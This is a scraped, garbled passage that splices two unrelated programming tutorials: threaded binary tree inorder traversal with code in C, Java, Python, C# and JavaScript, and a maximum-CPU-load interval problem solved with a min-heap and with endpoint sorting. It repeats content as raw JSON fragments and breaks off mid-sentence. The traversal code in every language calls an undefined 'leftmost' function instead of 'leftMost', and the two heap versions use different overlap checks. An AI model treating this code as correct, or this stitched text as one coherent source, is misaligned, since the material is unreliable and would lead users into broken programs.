def __init__(self, data,rightThread): self.data = data; self.left = None; self.right = None; self.rightThread = rightThread; # This code is contributed by umadevi9616 public class Node{ public int data; public Node left, right; public bool rightThread; } // This code is contributed by aashish1995 <script> class Node { constructor(val) { this.data = val; this.left = null; this.right = null; this.rightThread = false; } } // This code contributed by aashish1995</script> Since right pointer is used for two purposes, the boolean variable rightThread is used to indicate whether right pointer points to right child or inorder successor. Similarly, we can add leftThread for a double threaded binary tree.Inorder Traversal using Threads Following is code for inorder traversal in a threaded binary tree. C Java Python3 C# Javascript // Utility function to find leftmost node in a tree rooted// with nstruct Node* leftMost(struct Node* n){ if (n == NULL) return NULL; while (n->left != NULL) n = n->left; return n;} // C code to do inorder traversal in a threaded binary treevoid inOrder(struct Node* root){ struct Node* cur = leftMost(root); while (cur != NULL) { printf("%d ", cur->data); // If this node is a thread node, then go to // inorder successor if (cur->rightThread) cur = cur->right; else // Else go to the leftmost child in right // subtree cur = leftmost(cur->right); }} // Utility function to find leftmost node in a tree rooted// with nNode leftMost(Node n){ if (n == null) return null; while (n.left != null) n = n.left; return n;} // C code to do inorder traversal in a threaded binary treestatic void inOrder(Node root){ Node cur = leftMost(root); while (cur != null) { System.out.printf("%d ", cur.data); // If this node is a thread node, then go to // inorder successor if (cur.rightThread) cur = cur.right; else // Else go to the leftmost child in right // subtree cur = leftmost(cur.right); }} // This code contributed by aashish1995 # Utility function to find leftmost Node in a tree rooted# with ndef leftMost(n): if (n == None): return None; while (n.left != None): n = n.left; return n; # C code to do inorder traversal in a threaded binary treedef inOrder(root): cur = leftMost(root); while (cur != None): print(cur.data," "); # If this Node is a thread Node, then go to # inorder successor if (cur.rightThread): cur = cur.right; else: # Else go to the leftmost child in right # subtree cur = leftmost(cur.right); # This code is contributed by Rajput-Ji // Utility function to find leftmost node in a tree rooted// with nNode leftMost(Node n){ if (n == null) return null; while (n.left != null) n = n.left; return n;} // C code to do inorder traversal in a threaded binary treestatic void inOrder(Node root){ Node cur = leftMost(root); while (cur != null) { Console.Write("{0} ", cur.data); // If this node is a thread node, then go to // inorder successor if (cur.rightThread) cur = cur.right; else // Else go to the leftmost child in right // subtree cur = leftmost(cur.right); }} // This code is contributed by gauravrajput1 <script> // Utility function to find leftmost node in a tree rooted// with nfunction leftMost(n){ if (n == null) return null; while (n.left != null) n = n.left; return n;} // JavaScript code to do inorder traversal in// a threaded binary treefunction inOrder(root){ let cur = leftMost(root); while (cur != null) { document.write(cur.data+" "); // If this node is a thread node, then go to // inorder successor if (cur.rightThread) cur = cur.right; else // Else go to the leftmost child in right // subtree cur = leftmost(cur.right); }} // This code is contributed by unknown2108 </script> Following diagram demonstrates inorder order traversal using threads. Advantages of Threaded Binary Tree In this Tree it enables linear traversal of elements. It eliminates the use of stack as it perform linear traversal. Enables to find parent node without explicit use of parent pointer Threaded tree give forward and backward traversal of nodes by in-order fashion Nodes contain pointers to in-order predecessor and successor We will soon be discussing insertion and deletion in threaded binary trees.Sources: http://en.wikipedia.org/wiki/Threaded_binary_tree www.cs.berkeley.edu/~kamil/teaching/su02/080802.pptPlease write comments if you find anything incorrect, or you want to share more information about the topic discussed above monil_bansal gurukiranx aashish1995 GauravRajput1 unknown2108 umadevi9616 Rajput-Ji guptavivek0503 threaded-binary-tree Tree Tree Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Binary Tree | Set 3 (Types of Binary Tree) Inorder Tree Traversal without Recursion Binary Tree | Set 2 (Properties) Decision Tree A program to check if a binary tree is BST or not Construct Tree from given Inorder and Preorder traversals Introduction to Tree Data Structure Lowest Common Ancestor in a Binary Tree | Set 1 Complexity of different operations in Binary tree, Binary Search Tree and AVL tree
[ { "code": null, "e": 26167, "s": 26139, "text": "\n12 Apr, 2022" }, { "code": null, "e": 27089, "s": 26167, "text": "Inorder traversal of a Binary tree can either be done using recursion or with the use of a auxiliary stack. The idea of threaded binary trees is to make inorder traversal faster and do it without stack and without recursion. A binary tree is made threaded by making all right child pointers that would normally be NULL point to the inorder successor of the node (if it exists).There are two types of threaded binary trees. Single Threaded: Where a NULL right pointers is made to point to the inorder successor (if successor exists)Double Threaded: Where both left and right NULL pointers are made to point to inorder predecessor and inorder successor respectively. The predecessor threads are useful for reverse inorder traversal and postorder traversal.The threads are also useful for fast accessing ancestors of a node.Following diagram shows an example Single Threaded Binary Tree. The dotted lines represent threads. " }, { "code": null, "e": 27182, "s": 27089, "text": "C representation of a Threaded Node Following is C representation of a single-threaded node." }, { "code": null, "e": 27184, "s": 27182, "text": "C" }, { "code": "struct Node{ int data; struct Node *left, *right; bool rightThread; }", "e": 27263, "s": 27184, "text": null }, { "code": null, "e": 27302, "s": 27263, "text": "Java representation of a Threaded Node" }, { "code": null, "e": 27362, "s": 27302, "text": "Following is Java representation of a single-threaded node." }, { "code": null, "e": 27367, "s": 27362, "text": "Java" }, { "code": null, "e": 27375, "s": 27367, "text": "Python3" }, { "code": null, "e": 27378, "s": 27375, "text": "C#" }, { "code": null, "e": 27389, "s": 27378, "text": "Javascript" }, { "code": "static class Node{ int data; Node left, right; boolean rightThread; } // This code contributed by aashish1995", "e": 27508, "s": 27389, "text": null }, { "code": "class Node: def __init__(self, data,rightThread): self.data = data; self.left = None; self.right = None; self.rightThread = rightThread; # This code is contributed by umadevi9616", "e": 27718, "s": 27508, "text": null }, { "code": "public class Node{ public int data; public Node left, right; public bool rightThread; } // This code is contributed by aashish1995", "e": 27855, "s": 27718, "text": null }, { "code": "<script> class Node { constructor(val) { this.data = val; this.left = null; this.right = null; this.rightThread = false; } } // This code contributed by aashish1995</script>", "e": 28090, "s": 27855, "text": null }, { "code": null, "e": 28421, "s": 28090, "text": "Since right pointer is used for two purposes, the boolean variable rightThread is used to indicate whether right pointer points to right child or inorder successor. Similarly, we can add leftThread for a double threaded binary tree.Inorder Traversal using Threads Following is code for inorder traversal in a threaded binary tree." }, { "code": null, "e": 28423, "s": 28421, "text": "C" }, { "code": null, "e": 28428, "s": 28423, "text": "Java" }, { "code": null, "e": 28436, "s": 28428, "text": "Python3" }, { "code": null, "e": 28439, "s": 28436, "text": "C#" }, { "code": null, "e": 28450, "s": 28439, "text": "Javascript" }, { "code": "// Utility function to find leftmost node in a tree rooted// with nstruct Node* leftMost(struct Node* n){ if (n == NULL) return NULL; while (n->left != NULL) n = n->left; return n;} // C code to do inorder traversal in a threaded binary treevoid inOrder(struct Node* root){ struct Node* cur = leftMost(root); while (cur != NULL) { printf(\"%d \", cur->data); // If this node is a thread node, then go to // inorder successor if (cur->rightThread) cur = cur->right; else // Else go to the leftmost child in right // subtree cur = leftmost(cur->right); }}", "e": 29106, "s": 28450, "text": null }, { "code": "// Utility function to find leftmost node in a tree rooted// with nNode leftMost(Node n){ if (n == null) return null; while (n.left != null) n = n.left; return n;} // C code to do inorder traversal in a threaded binary treestatic void inOrder(Node root){ Node cur = leftMost(root); while (cur != null) { System.out.printf(\"%d \", cur.data); // If this node is a thread node, then go to // inorder successor if (cur.rightThread) cur = cur.right; else // Else go to the leftmost child in right // subtree cur = leftmost(cur.right); }} // This code contributed by aashish1995", "e": 29782, "s": 29106, "text": null }, { "code": "# Utility function to find leftmost Node in a tree rooted# with ndef leftMost(n): if (n == None): return None; while (n.left != None): n = n.left; return n; # C code to do inorder traversal in a threaded binary treedef inOrder(root): cur = leftMost(root); while (cur != None): print(cur.data,\" \"); # If this Node is a thread Node, then go to # inorder successor if (cur.rightThread): cur = cur.right; else: # Else go to the leftmost child in right # subtree cur = leftmost(cur.right); # This code is contributed by Rajput-Ji", "e": 30411, "s": 29782, "text": null }, { "code": "// Utility function to find leftmost node in a tree rooted// with nNode leftMost(Node n){ if (n == null) return null; while (n.left != null) n = n.left; return n;} // C code to do inorder traversal in a threaded binary treestatic void inOrder(Node root){ Node cur = leftMost(root); while (cur != null) { Console.Write(\"{0} \", cur.data); // If this node is a thread node, then go to // inorder successor if (cur.rightThread) cur = cur.right; else // Else go to the leftmost child in right // subtree cur = leftmost(cur.right); }} // This code is contributed by gauravrajput1", "e": 31031, "s": 30411, "text": null }, { "code": "<script> // Utility function to find leftmost node in a tree rooted// with nfunction leftMost(n){ if (n == null) return null; while (n.left != null) n = n.left; return n;} // JavaScript code to do inorder traversal in// a threaded binary treefunction inOrder(root){ let cur = leftMost(root); while (cur != null) { document.write(cur.data+\" \"); // If this node is a thread node, then go to // inorder successor if (cur.rightThread) cur = cur.right; else // Else go to the leftmost child in right // subtree cur = leftmost(cur.right); }} // This code is contributed by unknown2108 </script>", "e": 31731, "s": 31031, "text": null }, { "code": null, "e": 31802, "s": 31731, "text": "Following diagram demonstrates inorder order traversal using threads. " }, { "code": null, "e": 31837, "s": 31802, "text": "Advantages of Threaded Binary Tree" }, { "code": null, "e": 31891, "s": 31837, "text": "In this Tree it enables linear traversal of elements." }, { "code": null, "e": 31954, "s": 31891, "text": "It eliminates the use of stack as it perform linear traversal." }, { "code": null, "e": 32021, "s": 31954, "text": "Enables to find parent node without explicit use of parent pointer" }, { "code": null, "e": 32100, "s": 32021, "text": "Threaded tree give forward and backward traversal of nodes by in-order fashion" }, { "code": null, "e": 32162, "s": 32100, "text": "Nodes contain pointers to in-order predecessor and successor " }, { "code": null, "e": 32471, "s": 32162, "text": "We will soon be discussing insertion and deletion in threaded binary trees.Sources: http://en.wikipedia.org/wiki/Threaded_binary_tree www.cs.berkeley.edu/~kamil/teaching/su02/080802.pptPlease write comments if you find anything incorrect, or you want to share more information about the topic discussed above" }, { "code": null, "e": 32484, "s": 32471, "text": "monil_bansal" }, { "code": null, "e": 32495, "s": 32484, "text": "gurukiranx" }, { "code": null, "e": 32507, "s": 32495, "text": "aashish1995" }, { "code": null, "e": 32521, "s": 32507, "text": "GauravRajput1" }, { "code": null, "e": 32533, "s": 32521, "text": "unknown2108" }, { "code": null, "e": 32545, "s": 32533, "text": "umadevi9616" }, { "code": null, "e": 32555, "s": 32545, "text": "Rajput-Ji" }, { "code": null, "e": 32570, "s": 32555, "text": "guptavivek0503" }, { "code": null, "e": 32591, "s": 32570, "text": "threaded-binary-tree" }, { "code": null, "e": 32596, "s": 32591, "text": "Tree" }, { "code": null, "e": 32601, "s": 32596, "text": "Tree" }, { "code": null, "e": 32699, "s": 32601, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 32742, "s": 32699, "text": "Binary Tree | Set 3 (Types of Binary Tree)" }, { "code": null, "e": 32783, "s": 32742, "text": "Inorder Tree Traversal without Recursion" }, { "code": null, "e": 32816, "s": 32783, "text": "Binary Tree | Set 2 (Properties)" }, { "code": null, "e": 32830, "s": 32816, "text": "Decision Tree" }, { "code": null, "e": 32880, "s": 32830, "text": "A program to check if a binary tree is BST or not" }, { "code": null, "e": 32938, "s": 32880, "text": "Construct Tree from given Inorder and Preorder traversals" }, { "code": null, "e": 32974, "s": 32938, "text": "Introduction to Tree Data Structure" }, { "code": null, "e": 33022, "s": 32974, "text": "Lowest Common Ancestor in a Binary Tree | Set 1" } ]
Maximum CPU Load from the given list of jobs - GeeksforGeeks
13 Jan, 2022 Given an array of jobs with different time requirements, where each job consists of start time, end time and CPU load. The task is to find the maximum CPU load at any time if all jobs are running on the same machine. Examples: Input: jobs[] = {{1, 4, 3}, {2, 5, 4}, {7, 9, 6}} Output: 7 Explanation: In the above-given jobs, there are two jobs which overlaps. That is, Job [1, 4, 3] and [2, 5, 4] overlaps for the time period in [2, 4] Hence, the maximum CPU Load at this instant will be maximum (3 + 4 = 7). Input: jobs[] = {{6, 7, 10}, {2, 4, 11}, {8, 12, 15}} Output: 15 Explanation: Since, There are no jobs that overlaps. Maximum CPU Load will be – max(10, 11, 15) = 15 This problem is generally the application of the Merge Intervals. Approach: The idea is to maintain min-heap for the jobs on the basis of their end times. Then, for each instance find the jobs which are complete and remove them from the Min-heap. That is, Check that the end-time of the jobs in the min-heap had ended before the start time of the current job. Also at each instance, find the maximum CPU Load on the machine by taking the sum of all the jobs that are present in the min-heap. For Example: Given Jobs be {{1, 4, 3}, {2, 5, 4}, {7, 9, 6}} Min-Heap - {} Instance 1: The job {1, 4, 3} is inserted into the min-heap Min-Heap - {{1, 4, 3}}, Total CPU Load = 3 Instance 2: The job {2, 5, 4} is inserted into the min-heap. While the job {1, 4, 3} is still in the CPU, because end-time of Job 1 is greater than the start time of the new job {2, 5, 4}. Min-Heap - {{1, 4, 3}, {2, 5, 4}} Total CPU Load = 4 + 3 = 7 Instance 3: The job {7, 9, 6} is inserted into the min-heap. After popping up all the other jobs because their end time is less than the start time of the new job Min Heap - {7, 9, 6} Total CPU Load = 6 Maximum CPU Load = max(3, 7, 6) = 7 Below is the implementation of the above approach: C++ Python3 // C++ implementation to find the// maximum CPU Load from the given// lists of the jobs #include <algorithm>#include <iostream>#include <queue>#include <vector> using namespace std; // Blueprint of the jobclass Job {public: int start = 0; int end = 0; int cpuLoad = 0; // Constructor function for // the CPU Job Job(int start, int end, int cpuLoad) { this->start = start; this->end = end; this->cpuLoad = cpuLoad; }}; class MaximumCPULoad { // Structure to compare two // CPU Jobs by their end timepublic: struct endCompare { bool operator()(const Job& x, const Job& y) { return x.end > y.end; } }; // Function to find the maximum // CPU Load at any instance of // the time for given jobs static int findMaxCPULoad(vector<Job>& jobs) { // Condition when there are // no jobs then CPU Load is 0 if (jobs.empty()) { return 0; } // Sorting all the jobs // by their start time sort(jobs.begin(), jobs.end(), [](const Job& a, const Job& b) { return a.start < b.start; }); int maxCPULoad = 0; int currentCPULoad = 0; // Min-heap implemented using the // help of the priority queue priority_queue<Job, vector<Job>, endCompare> minHeap; // Loop to iterate over all the // jobs from the given list for (auto job : jobs) { // Loop to remove all jobs from // the heap which is ended while (!minHeap.empty() && job.start > minHeap.top().end) { currentCPULoad -= minHeap.top().cpuLoad; minHeap.pop(); } // Add the current Job to CPU minHeap.push(job); currentCPULoad += job.cpuLoad; maxCPULoad = max(maxCPULoad, currentCPULoad); } return maxCPULoad; }}; // Driver Codeint main(int argc, char* argv[]){ vector<Job> input = { { 1, 4, 3 }, { 7, 9, 6 }, { 2, 5, 4 } }; cout << "Maximum CPU load at any time: " << MaximumCPULoad::findMaxCPULoad(input) << endl;} # Python implementation to find the# maximum CPU Load from the given# lists of the jobs from heapq import * # Blueprint of the job class job: # Constructor of the Job def __init__(self, start, end, cpu_load): self.start = start self.end = end self.cpu_load = cpu_load # Operator overloading for the # Object that is Job def __lt__(self, other): # min heap based on job.end return self.end < other.end # Function to find the maximum# CPU Load for the given list of jobs def find_max_cpu_load(jobs): # Sort the jobs by start time jobs.sort(key=lambda x: x.start) max_cpu_load, current_cpu_load = 0, 0 # Min-Heap min_heap = [] # Loop to iterate over the list # of the jobs given for the CPU for j in jobs: # Remove all the jobs from # the min-heap which ended while(len(min_heap) > 0 and j.start >= min_heap[0].end): current_cpu_load -= min_heap[0].cpu_load heappop(min_heap) # Add the current job # into min_heap heappush(min_heap, j) current_cpu_load += j.cpu_load max_cpu_load = max(max_cpu_load, current_cpu_load) return max_cpu_load # Driver Codeif __name__ == "__main__": jobs = [job(1, 4, 3), job(2, 5, 4), job(7, 9, 6)] print("Maximum CPU load at any time: " + str(find_max_cpu_load(jobs))) Maximum CPU load at any time: 7 Performance Analysis: Time complexity: O(N*logN) Auxiliary Space: O(N) Approach 2: The idea is simple. We have supposed n intervals, so we have 2n endpoints ( here endpoint is the end of an interval and its value is the time associated with it). We can take an endpoint and combine it with its load value associated with it and with a flag which states whether it is a starting point or ending point of an interval. Then we can just sort the endpoints in increasing order(if there is a tie in value of endpoints then we will break the tie by putting the endpoint which is starting at first place as compared to the endpoint which is ending; if both the endpoints are starting or ending then we will break the tie arbitrarily). After sorting, we will proceed through the endpoints using for loop. And if we have an endpoint that is the starting point of an interval then we will add the load value associated with it in a variable say, count. We will also take the maximum of the count values and store it in a variable called result. But when we get an endpoint that is ending then we will decrease the load value associated with it from the count. At the end, we will return the result. Lets take an example: suppose the jobs are {1, 4, 3}, {2, 5, 4}, {7, 9, 6}. our sorted endpoints will be 1(start), 2(start), 4(end), 5(end), 7(start), 9(end) . and the corresponding loads will be 3, 4, 3, 4, 6, 6. start traversing the endpoints: so after traversing first endpoint which is 1(start) we have count+=3 (here 3 is the load associated with it) so count =3. Since the 1 is starting point so we will update the result. So result=max(result,count) so, result=3. After traversing 2(start) we have count+=4, so count=7, result=max(result,count)=7. After traversing 4(end) we have count-=3(we have subtracted because it is ending point) so count=4. result will not be updated since we are decreasing the count. After traversing 5(end) we have count-=4 so count=0. After traversing 7(start) we have count+=6 so count=6, result=max(result,count)=7. After traversing 9(end) we have count-=6 so count=0. Our result will be 7. C++14 Python3 // C++ implementation to find the// maximum CPU Load from the given array of jobs #include <bits/stdc++.h>using namespace std; // the job struct will have s(starting time) , e(ending time) , load(cpu load)struct Job { int s, e, load;}; // endpoint struct will have val(the time associated with the endpoint),// load(cpu load associated with the endpoint),// a flag isStart which will tell if the endpoint is starting or ending point of// an intervalstruct Endpoint { int val, load; bool isStart;}; // custom comparator function which is used by the c++ sort stlbool comp(const Endpoint& a, const Endpoint& b) { if (a.val != b.val) return a.val < b.val; return a.isStart == true && b.isStart == false;}//function to find maximum cpu loadint maxCpuLoad(vector<Job> v){ int count = 0; // count will contain the count of current loads int result = 0; // result will contain maximum of all counts // this data array will contain all the endpoints combined with their load values // and flags telling whether they are starting or ending point vector<Endpoint> data; for (int i = 0; i < v.size(); i++) { data.emplace_back(Endpoint{ v[i].s, v[i].load, true}); data.emplace_back(Endpoint{ v[i].e, v[i].load, false}); } sort(data.begin(), data.end(), comp); for (int i = 0; i < data.size(); i++) { if (data[i].isStart == true) { count += data[i].load; result = max(result, count); } else count -= data[i].load; } return result;}//Driver code to test maxCpuLoad functionint main() { vector<Job> v = { {6, 7, 10}, {2, 4, 11}, {8, 12, 15} }; cout << maxCpuLoad(v); return 0;}// this code is contributed by Mohit Puri # Python3 implementation to find the# maximum CPU Load from the given array of jobs # the job struct will have s(starting time) , e(ending time) , load(cpu load)class Job: def __init__(self,s,e,l) -> None: self.s =s; self.e =e; self.load = l # endpoint will have val(the time associated with the endpoint),# load(cpu load associated with the endpoint),# a flag isStart which will tell if the endpoints starting or ending point# an intervalclass Endpoint: def __init__(self, v=0, l=0, isStart=False) -> None: self.val = v self.load = l self.isStart = isStart def __lt__(self, other): if self.val != other.val: return self.val < other.val return self.isStart == True and other.isStart == False # function to find maximum cpu loaddef maxCpuLoad(v): count = 0 # count will contain the count of current loads result = 0 # result will contain maximum of all counts # this data array will contain all the endpoints combined with their load values # and flags telling whether they are starting or ending point data = [] for i in range(len(v)): data.append(Endpoint(v[i].s, v[i].load, True)) data.append(Endpoint(v[i].e, v[i].load, False)) data.sort() for i in range(len(data)): if data[i].isStart == True: count += data[i].load result = max(result, count) else: count -= data[i].load return result # Driver code to test maxCpuLoad functionif __name__ == "__main__": v = [Job(6, 7, 10), Job(2, 4, 11), Job(8, 12, 15)] print(maxCpuLoad(v)) 15 Time Complexity: O(nlogn) for sorting the data array. Space Complexity: O(n) which is the size of the data array nidhi_biet Utkarsh Sinha ashutoshsinghgeeksforgeeks amartyaghoshgfg adnanirshad158 surinderdawra388 min-heap Advanced Data Structure Algorithms Competitive Programming Heap Heap Algorithms Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Ordered Set and GNU C++ PBDS 2-3 Trees | (Search, Insert and Deletion) Extendible Hashing (Dynamic approach to DBMS) Suffix Array | Set 1 (Introduction) Interval Tree SDE SHEET - A Complete Guide for SDE Preparation Top 50 Array Coding Problems for Interviews DSA Sheet by Love Babbar Difference between BFS and DFS How to write a Pseudo Code?
[ { "code": null, "e": 25733, "s": 25705, "text": "\n13 Jan, 2022" }, { "code": null, "e": 25950, "s": 25733, "text": "Given an array of jobs with different time requirements, where each job consists of start time, end time and CPU load. The task is to find the maximum CPU load at any time if all jobs are running on the same machine." }, { "code": null, "e": 25961, "s": 25950, "text": "Examples: " }, { "code": null, "e": 26243, "s": 25961, "text": "Input: jobs[] = {{1, 4, 3}, {2, 5, 4}, {7, 9, 6}} Output: 7 Explanation: In the above-given jobs, there are two jobs which overlaps. That is, Job [1, 4, 3] and [2, 5, 4] overlaps for the time period in [2, 4] Hence, the maximum CPU Load at this instant will be maximum (3 + 4 = 7)." }, { "code": null, "e": 26411, "s": 26243, "text": "Input: jobs[] = {{6, 7, 10}, {2, 4, 11}, {8, 12, 15}} Output: 15 Explanation: Since, There are no jobs that overlaps. Maximum CPU Load will be – max(10, 11, 15) = 15 " }, { "code": null, "e": 26903, "s": 26411, "text": "This problem is generally the application of the Merge Intervals. Approach: The idea is to maintain min-heap for the jobs on the basis of their end times. Then, for each instance find the jobs which are complete and remove them from the Min-heap. That is, Check that the end-time of the jobs in the min-heap had ended before the start time of the current job. Also at each instance, find the maximum CPU Load on the machine by taking the sum of all the jobs that are present in the min-heap." }, { "code": null, "e": 26918, "s": 26903, "text": "For Example: " }, { "code": null, "e": 27580, "s": 26918, "text": "Given Jobs be {{1, 4, 3}, {2, 5, 4}, {7, 9, 6}}\nMin-Heap - {}\n\nInstance 1:\nThe job {1, 4, 3} is inserted into the min-heap\nMin-Heap - {{1, 4, 3}},\nTotal CPU Load = 3\n\nInstance 2:\nThe job {2, 5, 4} is inserted into the min-heap.\nWhile the job {1, 4, 3} is still in the CPU, \nbecause end-time of Job 1 is greater than \nthe start time of the new job {2, 5, 4}.\nMin-Heap - {{1, 4, 3}, {2, 5, 4}}\nTotal CPU Load = 4 + 3 = 7\n\nInstance 3:\nThe job {7, 9, 6} is inserted into the min-heap.\nAfter popping up all the other jobs because their\nend time is less than the start time of the new job\nMin Heap - {7, 9, 6}\nTotal CPU Load = 6\n\nMaximum CPU Load = max(3, 7, 6) = 7" }, { "code": null, "e": 27631, "s": 27580, "text": "Below is the implementation of the above approach:" }, { "code": null, "e": 27635, "s": 27631, "text": "C++" }, { "code": null, "e": 27643, "s": 27635, "text": "Python3" }, { "code": "// C++ implementation to find the// maximum CPU Load from the given// lists of the jobs #include <algorithm>#include <iostream>#include <queue>#include <vector> using namespace std; // Blueprint of the jobclass Job {public: int start = 0; int end = 0; int cpuLoad = 0; // Constructor function for // the CPU Job Job(int start, int end, int cpuLoad) { this->start = start; this->end = end; this->cpuLoad = cpuLoad; }}; class MaximumCPULoad { // Structure to compare two // CPU Jobs by their end timepublic: struct endCompare { bool operator()(const Job& x, const Job& y) { return x.end > y.end; } }; // Function to find the maximum // CPU Load at any instance of // the time for given jobs static int findMaxCPULoad(vector<Job>& jobs) { // Condition when there are // no jobs then CPU Load is 0 if (jobs.empty()) { return 0; } // Sorting all the jobs // by their start time sort(jobs.begin(), jobs.end(), [](const Job& a, const Job& b) { return a.start < b.start; }); int maxCPULoad = 0; int currentCPULoad = 0; // Min-heap implemented using the // help of the priority queue priority_queue<Job, vector<Job>, endCompare> minHeap; // Loop to iterate over all the // jobs from the given list for (auto job : jobs) { // Loop to remove all jobs from // the heap which is ended while (!minHeap.empty() && job.start > minHeap.top().end) { currentCPULoad -= minHeap.top().cpuLoad; minHeap.pop(); } // Add the current Job to CPU minHeap.push(job); currentCPULoad += job.cpuLoad; maxCPULoad = max(maxCPULoad, currentCPULoad); } return maxCPULoad; }}; // Driver Codeint main(int argc, char* argv[]){ vector<Job> input = { { 1, 4, 3 }, { 7, 9, 6 }, { 2, 5, 4 } }; cout << \"Maximum CPU load at any time: \" << MaximumCPULoad::findMaxCPULoad(input) << endl;}", "e": 29841, "s": 27643, "text": null }, { "code": "# Python implementation to find the# maximum CPU Load from the given# lists of the jobs from heapq import * # Blueprint of the job class job: # Constructor of the Job def __init__(self, start, end, cpu_load): self.start = start self.end = end self.cpu_load = cpu_load # Operator overloading for the # Object that is Job def __lt__(self, other): # min heap based on job.end return self.end < other.end # Function to find the maximum# CPU Load for the given list of jobs def find_max_cpu_load(jobs): # Sort the jobs by start time jobs.sort(key=lambda x: x.start) max_cpu_load, current_cpu_load = 0, 0 # Min-Heap min_heap = [] # Loop to iterate over the list # of the jobs given for the CPU for j in jobs: # Remove all the jobs from # the min-heap which ended while(len(min_heap) > 0 and j.start >= min_heap[0].end): current_cpu_load -= min_heap[0].cpu_load heappop(min_heap) # Add the current job # into min_heap heappush(min_heap, j) current_cpu_load += j.cpu_load max_cpu_load = max(max_cpu_load, current_cpu_load) return max_cpu_load # Driver Codeif __name__ == \"__main__\": jobs = [job(1, 4, 3), job(2, 5, 4), job(7, 9, 6)] print(\"Maximum CPU load at any time: \" + str(find_max_cpu_load(jobs)))", "e": 31285, "s": 29841, "text": null }, { "code": null, "e": 31317, "s": 31285, "text": "Maximum CPU load at any time: 7" }, { "code": null, "e": 31340, "s": 31317, "text": "Performance Analysis: " }, { "code": null, "e": 31367, "s": 31340, "text": "Time complexity: O(N*logN)" }, { "code": null, "e": 31389, "s": 31367, "text": "Auxiliary Space: O(N)" }, { "code": null, "e": 31402, "s": 31389, "text": "Approach 2: " }, { "code": null, "e": 32047, "s": 31402, "text": "The idea is simple. We have supposed n intervals, so we have 2n endpoints ( here endpoint is the end of an interval and its value is the time associated with it). We can take an endpoint and combine it with its load value associated with it and with a flag which states whether it is a starting point or ending point of an interval. Then we can just sort the endpoints in increasing order(if there is a tie in value of endpoints then we will break the tie by putting the endpoint which is starting at first place as compared to the endpoint which is ending; if both the endpoints are starting or ending then we will break the tie arbitrarily). " }, { "code": null, "e": 32354, "s": 32047, "text": "After sorting, we will proceed through the endpoints using for loop. And if we have an endpoint that is the starting point of an interval then we will add the load value associated with it in a variable say, count. We will also take the maximum of the count values and store it in a variable called result." }, { "code": null, "e": 32469, "s": 32354, "text": "But when we get an endpoint that is ending then we will decrease the load value associated with it from the count." }, { "code": null, "e": 32508, "s": 32469, "text": "At the end, we will return the result." }, { "code": null, "e": 32584, "s": 32508, "text": "Lets take an example: suppose the jobs are {1, 4, 3}, {2, 5, 4}, {7, 9, 6}." }, { "code": null, "e": 32668, "s": 32584, "text": "our sorted endpoints will be 1(start), 2(start), 4(end), 5(end), 7(start), 9(end) ." }, { "code": null, "e": 32722, "s": 32668, "text": "and the corresponding loads will be 3, 4, 3, 4, 6, 6." }, { "code": null, "e": 32754, "s": 32722, "text": "start traversing the endpoints:" }, { "code": null, "e": 32979, "s": 32754, "text": "so after traversing first endpoint which is 1(start) we have count+=3 (here 3 is the load associated with it) so count =3. Since the 1 is starting point so we will update the result. So result=max(result,count) so, result=3." }, { "code": null, "e": 33063, "s": 32979, "text": "After traversing 2(start) we have count+=4, so count=7, result=max(result,count)=7." }, { "code": null, "e": 33225, "s": 33063, "text": "After traversing 4(end) we have count-=3(we have subtracted because it is ending point) so count=4. result will not be updated since we are decreasing the count." }, { "code": null, "e": 33279, "s": 33225, "text": "After traversing 5(end) we have count-=4 so count=0. " }, { "code": null, "e": 33362, "s": 33279, "text": "After traversing 7(start) we have count+=6 so count=6, result=max(result,count)=7." }, { "code": null, "e": 33415, "s": 33362, "text": "After traversing 9(end) we have count-=6 so count=0." }, { "code": null, "e": 33437, "s": 33415, "text": "Our result will be 7." }, { "code": null, "e": 33443, "s": 33437, "text": "C++14" }, { "code": null, "e": 33451, "s": 33443, "text": "Python3" }, { "code": "// C++ implementation to find the// maximum CPU Load from the given array of jobs #include <bits/stdc++.h>using namespace std; // the job struct will have s(starting time) , e(ending time) , load(cpu load)struct Job { int s, e, load;}; // endpoint struct will have val(the time associated with the endpoint),// load(cpu load associated with the endpoint),// a flag isStart which will tell if the endpoint is starting or ending point of// an intervalstruct Endpoint { int val, load; bool isStart;}; // custom comparator function which is used by the c++ sort stlbool comp(const Endpoint& a, const Endpoint& b) { if (a.val != b.val) return a.val < b.val; return a.isStart == true && b.isStart == false;}//function to find maximum cpu loadint maxCpuLoad(vector<Job> v){ int count = 0; // count will contain the count of current loads int result = 0; // result will contain maximum of all counts // this data array will contain all the endpoints combined with their load values // and flags telling whether they are starting or ending point vector<Endpoint> data; for (int i = 0; i < v.size(); i++) { data.emplace_back(Endpoint{ v[i].s, v[i].load, true}); data.emplace_back(Endpoint{ v[i].e, v[i].load, false}); } sort(data.begin(), data.end(), comp); for (int i = 0; i < data.size(); i++) { if (data[i].isStart == true) { count += data[i].load; result = max(result, count); } else count -= data[i].load; } return result;}//Driver code to test maxCpuLoad functionint main() { vector<Job> v = { {6, 7, 10}, {2, 4, 11}, {8, 12, 15} }; cout << maxCpuLoad(v); return 0;}// this code is contributed by Mohit Puri", "e": 35227, "s": 33451, "text": null }, { "code": "# Python3 implementation to find the# maximum CPU Load from the given array of jobs # the job struct will have s(starting time) , e(ending time) , load(cpu load)class Job: def __init__(self,s,e,l) -> None: self.s =s; self.e =e; self.load = l # endpoint will have val(the time associated with the endpoint),# load(cpu load associated with the endpoint),# a flag isStart which will tell if the endpoints starting or ending point# an intervalclass Endpoint: def __init__(self, v=0, l=0, isStart=False) -> None: self.val = v self.load = l self.isStart = isStart def __lt__(self, other): if self.val != other.val: return self.val < other.val return self.isStart == True and other.isStart == False # function to find maximum cpu loaddef maxCpuLoad(v): count = 0 # count will contain the count of current loads result = 0 # result will contain maximum of all counts # this data array will contain all the endpoints combined with their load values # and flags telling whether they are starting or ending point data = [] for i in range(len(v)): data.append(Endpoint(v[i].s, v[i].load, True)) data.append(Endpoint(v[i].e, v[i].load, False)) data.sort() for i in range(len(data)): if data[i].isStart == True: count += data[i].load result = max(result, count) else: count -= data[i].load return result # Driver code to test maxCpuLoad functionif __name__ == \"__main__\": v = [Job(6, 7, 10), Job(2, 4, 11), Job(8, 12, 15)] print(maxCpuLoad(v))", "e": 36826, "s": 35227, "text": null }, { "code": null, "e": 36829, "s": 36826, "text": "15" }, { "code": null, "e": 36883, "s": 36829, "text": "Time 